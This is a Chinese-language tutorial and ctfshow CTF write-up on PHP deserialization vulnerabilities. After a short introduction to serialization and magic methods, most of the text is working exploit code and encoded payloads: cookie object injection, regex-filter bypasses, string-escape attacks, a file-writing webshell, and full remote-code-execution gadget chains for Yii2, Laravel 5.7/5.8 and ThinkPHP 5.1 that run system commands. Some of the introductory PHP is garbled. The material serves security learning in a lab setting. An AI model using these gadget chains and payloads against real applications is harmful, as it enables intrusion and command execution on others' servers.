class 类 实验室成员
obj 对象(是一种语言结构,一个对象就是一个变量)某一个成员
特征(成员变量) 性别,姓名。。。。。。
方法(动作) 思考,听课,下课。。。。。。
百度百科上关于序列化的定义是,将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。
简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台、安全的进行通信。
class Stu(
public $name;
public $sex;
public $age;
public $score;
)
$Stu1 = new Stu();//创建一个对象(实例化对象)
$Stu1 ->name = "zox";
$Stu1 ->sex = true;
$Stu1 ->age = 16;
$Stu1 ->score = 60;
$Stu2 = new Stu();//创建一个对象(实例化对象)
$Stu2 ->name = "HMM";
$Stu2 ->sex = false;
$Stu2 ->age = 16;
$Stu2 ->score = 90;
echo $Stu1->name."'s score = ".$Stu1->score;
//通过调用对象中属性的名字来访问
echo $Stu2->name."'s score = ".$Stu2->score;
var_dump($Stu1);//直接输出
?>
把抽象的数据结构转化为字符串存储在硬盘------序列化,将用户状态暂停,用户激活时,从硬盘中取出字符串,再反序列化为数据结构,将其存储在内存中继续工作
**反序列化:**将字符串转化为对象
在反序列过程中,会触发代码执行–危害
PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。disscuz cmms
PHP中的序列化与反序列化,基本都是围绕**serialize()和unserialize()**两个函数展开的。
我们可以用json 格式数据的编码与解码,来理解序列化与反序列化的过程。虽然json数据与反序列化漏洞没有什么关系,但是这个例子会帮助我们理解。
测试代码如下
$stu=array( ' name'=>'AJEST' , 'age'=>18,'SEX'=>true, 'score'=>89.9);//定义一个数组
echo $stu;//echo不能输出数组
echo "
";
$stu_j son=json_encode( $stu) ;// 格式转化
echo $stu_json;
?>
json:格式化字符串
*序列化Demo
序列化会将一个抽象的对象转换为字符串。
我们可以写一个Demo来说明序列化的过程,首先创建一个类,代码如下
序列化与反序列化过程:
class Stu(
public $name;
public $sex;
public $age;
public $score;
)
$Stu1 = new Stu();//创建一个对象(实例化对象)
$Stu1 ->name = "zox";
$Stu1 ->sex = true;
$Stu1 ->age = 16;
$Stu1 ->score = 60;
$Stu2 = new Stu();//创建一个对象(实例化对象)
$Stu2 ->name = "HMM";
$Stu2 ->sex = false;
$Stu2 ->age = 16;
$Stu2 ->score = 90;
echo $Stu1->name."'s score = ".$Stu1->score;
//通过调用对象中属性的名字来访问
echo $Stu2->name."'s score = ".$Stu2->score;
//var_dump($Stu1);//直接输出
echo $Stu1;//不能直接输出
echo serialize($Stu1);//将对象序列化
?>
类名是Stu,该类中有四个变量(关于变量的性质,我们这里不讨论。接下来,我们可以将这个类实例化,也就是创建一个对象,并给对象中变量赋值。代码如下
include "classstu. php";
$stu1 = new stu( ) ;
$stu1->name = "AJEST";
$stu1->sex = true;
$stu1->age = 18;
$stu1->score = 89.9;
echo serialize( $stu1);
$str =<<<HTML
0:3 : "Stu" : 4 : {s :4 : " name " ; s : 3 : "ZQX" ; s : 3 : "sex" ; b:1; s : 3 : " age" ; i :16; s : 5 : "score"; i :60;}
HTML;
echo "
";
var_dump(unserialize($str));
?>
最后我们使用serialize(),将$stu1
这个对象序列化成一个字符串。这样的字符串。就很容易传输和存储了。如下
0:3:"Stu":4: //0 代表0bject对象;3对象名有三个字符;对象中有4个变量
{s: 4: "name" ; s:5: "AJEST" ;
s : 3: "sex" ; b: 1;
s:3:"age" ; i: 18;
s : 5 :"score" ; d:89.900000000000006; }
同样,我们可以使用unserialize( )函数,将字符串反序列化为一个对象。由于字符串中含有双引号,所以此处可以使用定界符的方法定义字符串。
有一个类
class Test{
public $str='AJEST;';
function __destruct( ) {
// echo "This is function _construct( )";
eval($this->str) ;
}
}
$test =new Test ();
echo serialize ($test);
echo "
";
$t = serialize ($test);//换成变量:$_GET['obj'];
var_dump(unserialize($td));
?>
创建一个类的对象,并将其序列化。
$test = new Test( ) ;
echo serialize($test) ;
得到字符串
[o:4: "Test" : 1:{s: 3: "str" ; s :6: "AJEST;";}]a
反序列化
将得到的序列化字符串反序列化为对象。
var_dump( unserialize($__GET [ 'code '] ));
对象创建销毁的时候调用了函数function __destruct( )
构造序列化字符
[0:4: "Test":1:{s:3:"str" ;s:10:"phpinfo( );";}]
传入code参数。phpinfo()函数会被执行。
由以上代码,我们会发现,PHP的反序列化漏洞需要与其他漏洞配合,比如代码执行SQLi等。
我们注入的字符串[phpinfo()],为什么会作为PHP语句运行呢?观察代码,发现在类中有一个函数_destruct()
并且这个函数调用的eval 语句,执行$this->str 变量。_
为什么_destruct()没有被调用,函数内的语句就被执行了呢?
可以用如下代码测试_destruct()函数
我们发现,当销毁实例化类(对象)的时候,_destrutc()函数会被自动调用,并输出字符串[This is function _destruct( ) ]。
以 [ __ ] 开头的方法,是PHP中的魔术方法,类中的魔术方法,在特定情况下**被自动调用 **。主要魔术方法如下
__construct 在创建对象时目动调用__destruct 在销毁对象时自动调用__call() 在对象中调用一个不可访问方法时,_call()会被调用__callstatic( ) 在静态上下文中调用一个不可访问方法时调用__get( ) 读取不可访问属性的值时,__get()会被调用__set( ) 在给不可访问属性赋值时,_set()会被调用__isset( ) 当对不可访问属性调用isset()或empty()时,_isset()会被调用。__unset( ) 当对不可访问属性调用unset() 时,_unset()会被调用。__sleep( )serialize( ) 函数会检查类中是否存在一个魔术方法__sleep( ) 如果存在,该方法会先被调用,然后才执行序列化操作。__wakeup( )unserialize( ) 会检查是否存在一个_wakeup()方法。如果存在,则会先调用__wakeup方法,预先准备对象需要的资源。__toString( )__toString() 方法用于一个类被当成字符串时应怎样回应。__invoke( ) 当尝试以调用函数的方式调用一个对象时,_invoke()方法会被自动调用。__set_state( )自PHP 5.1.0起当调用var_export()导出类时,此静态方法会被调用。__clone( )当复制完成时,如果定义了_clone()方法,则新创建的对象(复制生成的对象)中的__clone()方法会被调用,可用于修改属性的值(如果有必要的话)。__debugInfo( )This method is called by var_dump() when dumping anobject to get the properties that should be shown.If the method isn 'tdefined on an object,then ail public,protected and private propertieswill be shown.魔术方法的自动调用触发条件,解释了以上问题。
?username=xxxxxx&password=xxxxxx
账号密码的赋值和上面一样,就是多了一个cookie['user']
,用burp抓包解决
highlight_file(__FILE__);include('flag.php');class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public function checkVip(){ return $this->isVip; } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function vipOneKeyGetFlag(){ if($this->isVip){ global $flag; echo "your flag is ".$flag; }else{ echo "no vip, no flag"; } }}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; }}
反序列化的点在cookie的user中,我们需要让$isVip=true
新建一个php文件执行:
phpclass ctfShowUser{ public $isVip=true;}$a = new ctfShowUser();echo urlencode(serialize($a));//O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D?>
hackbar设置cookie头即可。payload如下:
这次要求用户名与密码不相等,我们在序列化时设置不同
phpclass ctfShowUser{ public $username='456'; public $password='123'; public $isVip=true;}$a = new ctfShowUser();echo urlencode(serialize($a));//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22456%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22123%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D?>
payload:
class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }}class info{ private $user='xxxxxx'; public function getInfo(){ return $this->user; }}class backDoor{ private $code; public function getInfo(){ eval($this->code); }}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); $user->login($username,$password);}
__destruct()在销毁对象时会自动调用getInfo()方法,而这时候的getInfo()方法有两个,一个在类info中。一个在backDoor中,我们需要的是利用反序列来将后者的被调用,也就是我们实例化的对象需要的是backDoor的属性所以需要将$this->class指向backDoor,并给变量code赋值
构造姿势:
phpclass ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $class = 'info'; public function __construct(){ $this->class=new backDoor(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }}class backDoor{ private $code="system('tac f*');"; public function getInfo(){ eval($this->code); }}echo urlencode(serialize(new ctfShowUser()));//O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D
payload:
class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'info'; public function __construct(){ $this->class=new info(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }}class info{ public $user='xxxxxx'; public function getInfo(){ return $this->user; }}class backDoor{ public $code; public function getInfo(){ eval($this->code); }}$username=$_GET['username'];$password=$_GET['password'];if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); } $user->login($username,$password);}
多了一个正则表达式:/[oc]:\d+:/i
。意思是过滤这两种情况:o:数字:
与c:数字:
这种情况是用+(加号)
绕过的,如:o:+
O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"class";O:8:"backDoor":1:{s:4:"code";s:17:"system('tac f*');";}}
发现有两处:“O:11"和"O:8”。
phpclass ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $class = 'info'; public function __construct(){ $this->class=new backDoor(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); }}class backDoor{ public $code="system('tac f*');"; public function getInfo(){ eval($this->code); }}$a = serialize(new ctfShowUser());$b = str_replace('O:11','O:+11',$a); // 对匹配的形式进行替换,在数字前增加加号$c = str_replace('O:8','O:+8',$b);echo urlencode($c); // O%3A%2B11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D
payload:
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);if($ip!=='127.0.0.1'){ die('error');}else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); }}
源码:
phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);//vip can get flag one key$vip->getFlag();
flag.php逻辑是,对请求头中的X-Forwarded-For进行两次pop,所以我们需要构造的结构为:
phperror_reporting(0);highlight_file(__FILE__);include('flag.php');if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){ echo $flag;}
字符串序列化后不变。
phphighlight_file(__FILE__);class ctfshowvip{ public $username; public $password; public $code; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __wakeup(){ if($this->username!='' || $this->password!=''){ die('error'); } } public function __invoke(){ eval($this->code); } public function __sleep(){ $this->username=''; $this->password=''; } public function __unserialize($data){ $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } public function __destruct(){ if($this->code==0x36d){ file_put_contents($this->username, $this->password); } }}unserialize($_GET['vip']);
TIPS:
看__destruct()方法,发现弱等于:
if($this->code==0x36d){
0x36d十进制为877,所以我们只要以877开头即可。下一句是对文件名为 this->username的文件写入this−>password的内容。
我们可以这样构造序列化:
?vip=O:10:"ctfshowvip":2:{s:8:"username";s:8:"877b.php";s:8:"password";s:24:"=system('tac /flag*');";}
访问877b.php可得到flag:
class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; }}$f = $_GET['f'];$m = $_GET['m'];$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent';}
这题考察的是反序列化逃逸,
可以看这篇博客
这里的
$umsg = str_replace('fuck', 'loveU', serialize($msg));
使序列化后的属性值长度增加,我们可以进行污染。
题目index.php头部有个小提示:
访问message.php:
include('flag.php');class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; }}if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; }}
这里执行了反序列化,可以看到token要设置成admin才行
利用反序列化原理,将*";s:5:“token”;s:4:“user”;}')*字符串逃逸
ini_set('display_errors','On');class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; }}$a = new message($f='1',$m='1',$t='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');// $t= fuck*25+";s:5:"token";s:5:"admin";}(长度:4*27+27)// $t设置成这样的目的是覆盖最后的:";s:5:"token";s:4:"user";}') ,来实现逃逸/污染echo str_repeat('fuck',27);echo "
";echo serialize($a);echo "
";echo "
";$fil = str_replace('fuck','loveU',serialize($a));echo $fil;$a2 = unserialize($fil); // 更改属性token为adminecho "
";echo $a2->token;echo "
";var_dump($a2);
token被成功设置为admin:
payload:
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
访问message.php可得到flag:
error_reporting(0);session_start();class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; }}$f = $_GET['f'];$m = $_GET['m'];$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); $_SESSION['msg']=base64_encode($umsg); echo 'Your message has been sent';}highlight_file(__FILE__);
同web262
此题转存到session里了
查看message.php:
session_start();highlight_file(__FILE__);include('flag.php');class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; }}if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_SESSION['msg'])); if($msg->token=='admin'){ echo $flag; }}
phpclass message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; }}$f;$m;$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));echo $umsg;//O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
payload:
index.phpget:?f=&m=&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}message.phpCookie 加上 msg= xxx
error_reporting(0);include('flag.php');highlight_file(__FILE__);class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token=$t; $this->password = $p; } public function login(){ return $this->token===$this->password; }}$ctfshow = unserialize($_GET['ctfshow']);$ctfshow->token=md5(mt_rand());//生成随机数if($ctfshow->login()){ echo $flag;}
引用传值:
phpclass abc{ public $a = '1'; public $b = '2';}$c = new abc();$c->a =&$c->b;$c->a = '1';//此时哪怕修改a的值也不管用$c->b = md5(mt_rand());print_r($c->a);?>//运行结果cc459dba9ce1830f72c80ba14532bbac
如果$c->a =&$c->b;
,那么 a 的 值 会 随 着 a的值会随着 a的值会随着b的值得变化而变化
payload:
phpclass ctfshowAdmin{ public $token=1; public $password=1;}$a = new ctfshowAdmin();$a->password=&$a->token;//让passwd的值随token变echo serialize($a);//运行结果O:12:"ctfshowAdmin":2:{s:5:"token";i:1;s:8:"password";R:2;}
?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";i:1;s:8:"password";R:2;}
highlight_file(__FILE__);include('flag.php');$cs = file_get_contents('php://input');class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->password; } public function __toString(){ return $this->username; } public function __destruct(){ global $flag; echo $flag; }}$ctfshowo=@unserialize($cs);if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1);}
当我们序列化的字符串里面如果有ctfshow就会抛出一个异常,这样就没法触发__destrurt魔术方法了
,所以得绕过这个正则。
区分大小写的: 变量名、常量名、数组索引(键名key)不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE
payload:
phpclass Ctfshow{};$a = new Ctfshow();echo serialize($a);?>//O:7:"Ctfshow":0:{}
打开首页,首先点击login输入用户名和密码都是admin,进行登陆:
访问about页面,发现与之前不同,查看源码,有提示:
访问:
index.php?r=site%2Fabout&view-source
出现
///backdoor/shellunserialize(base64_decode($_GET['code']))
根据提示访问:
index.php?r=/backdoor/shell&code=
现成poc:
phpnamespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'exec'; //PHP函数 $this->id = 'cat /flag >2.txt'; //PHP函数的参数 } }}namespace Faker { use yii\rest\IndexAction; class Generator { protected $formatters; public function __construct() { $this->formatters['close'] = [new IndexAction(), 'run']; } }}namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct() { $this->_dataReader=new Generator(); } }}namespace{ use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult()));}
payload:
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo0OiJleGVjIjtzOjI6ImlkIjtzOjE2OiJjYXQgL2ZsYWcgPjIudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19
根目录访问2.txt得到flag
思路和poc链同web267
phpnamespace yii\rest { class Action { public $checkAccess; } class IndexAction { public function __construct($func, $param) { $this->checkAccess = $func; $this->id = $param; } }}namespace yii\web { abstract class MultiFieldSession { public $writeCallback; } class DbSession extends MultiFieldSession { public function __construct($func, $param) { $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"]; } }}namespace yii\db { use yii\base\BaseObject; class BatchQueryResult { private $_dataReader; public function __construct($func, $param) { $this->_dataReader = new \yii\web\DbSession($func, $param); } }}namespace { $exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //此处写命令 echo(base64_encode(serialize($exp)));}
payload:
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxMjoiY3AgL2YqIDEudHh0Ijt9aToxO3M6MzoicnVuIjt9fX0=
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NQoAXwCX-1649403904989)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220407170758244.png)]
yii2框架 反序列化漏洞复现详细可看这篇文章
用之前的链依然可以得到flag
phpnamespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'passthru'; $this->id = 'cat /fl*'; } }}namespace yii\db{ use yii\web\DbSession; class BatchQueryResult { private $_dataReader; public function __construct(){ $this->_dataReader=new DbSession(); } }}namespace yii\web{ use yii\rest\IndexAction; class DbSession { public $writeCallback; public function __construct(){ $a=new IndexAction(); $this->writeCallback=[$a,'run']; } }}namespace{ use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult()));}
?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo4OiJjYXQgL2ZsKiI7fWk6MTtzOjM6InJ1biI7fX19
laravel5.7 反序列化漏洞复现参考此文章
POC:
phpnamespace Illuminate\Foundation\Testing{ use Illuminate\Auth\GenericUser; use Illuminate\Foundation\Application; class PendingCommand { protected $command; protected $parameters; public $test; protected $app; public function __construct(){ $this->command="system"; $this->parameters[]="cat /fl*"; $this->test=new GenericUser(); $this->app=new Application(); } }}namespace Illuminate\Foundation{ class Application{ protected $bindings = []; public function __construct(){ $this->bindings=array( 'Illuminate\Contracts\Console\Kernel'=>array( 'concrete'=>'Illuminate\Foundation\Application' ) ); } }}namespace Illuminate\Auth{ class GenericUser { protected $attributes; public function __construct(){ $this->attributes['expectedOutput']=['hello','world']; $this->attributes['expectedQuestions']=['hello','world']; } }}namespace{ use Illuminate\Foundation\Testing\PendingCommand; echo urlencode(serialize(new PendingCommand()));}
进行POST传参:
O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22cat+%2Ffl%2A%22%3B%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22hello%22%3Bi%3A1%3Bs%3A5%3A%22world%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22hello%22%3Bi%3A1%3Bs%3A5%3A%22world%22%3B%7D%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7D%7D
laravel5.8的反序列化链,参考文章:
laravel5.8 反序列化漏洞复现
poc:
phpnamespace Illuminate\Broadcasting{ use Illuminate\Bus\Dispatcher; use Illuminate\Foundation\Console\QueuedCommand; class PendingBroadcast { protected $events; protected $event; public function __construct(){ $this->events=new Dispatcher(); $this->event=new QueuedCommand(); } }}namespace Illuminate\Foundation\Console{ use Mockery\Generator\MockDefinition; class QueuedCommand { public $connection; public function __construct(){ $this->connection=new MockDefinition(); } }}namespace Illuminate\Bus{ use Mockery\Loader\EvalLoader; class Dispatcher { protected $queueResolver; public function __construct(){ $this->queueResolver=[new EvalLoader(),'load']; } }}namespace Mockery\Loader{ class EvalLoader { }}namespace Mockery\Generator{ class MockDefinition { protected $config; protected $code; public function __construct() { $this->code=""; $this->config=new MockConfiguration(); } } class MockConfiguration { protected $name="feng"; }}namespace{ use Illuminate\Broadcasting\PendingBroadcast; echo urlencode(serialize(new PendingBroadcast()));}
payload:
O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A43%3A%22Illuminate%5CFoundation%5CConsole%5CQueuedCommand%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A4%3A%22feng%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A34%3A%22%3C%3Fphp+system%28%27tac+%2Fflag%27%29%3Bexit%28%29%3F%3E%22%3B%7D%7D%7D
同web272
点击查看源码:
网上找thinkphp5.1的链子:
namespace think;abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["llama"=>["dir","calc"]]; $this->data = ["llama"=>new Request()]; }}class Request{ protected $hook = []; protected $filter = "system"; protected $config = [ // 表单请求类型伪装变量 'var_method' => '_method', // 表单ajax伪装变量 'var_ajax' => '_ajax', // 表单pjax伪装变量 'var_pjax' => '_pjax', // PATHINFO变量名 用于兼容模式 'var_pathinfo' => 's', // 兼容PATH_INFO获取 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'], // 默认全局过滤方法 用逗号分隔多个 'default_filter' => '', // 域名根,如thinkphp.cn 'url_domain_root' => '', // HTTPS代理标识 'https_agent_name' => '', // IP代理获取标识 'http_agent_ip' => 'HTTP_X_REAL_IP', // URL伪静态后缀 'url_html_suffix' => 'html', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'']; $this->hook = ["visible"=>[$this,"isAjax"]]; }}namespace think\process\pipes;use think\model\concern\Conversion;use think\model\Pivot;class Windows{ private $files = []; public function __construct() { $this->files=[new Pivot()]; }}namespace think\model;use think\Model;class Pivot extends Model{}use think\process\pipes\Windows;echo base64_encode(serialize(new Windows()));
注意,同时要传llama参数来执行shell命令,payload:
?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJsbGFtYSI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJsbGFtYSI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&llama=tac /flag
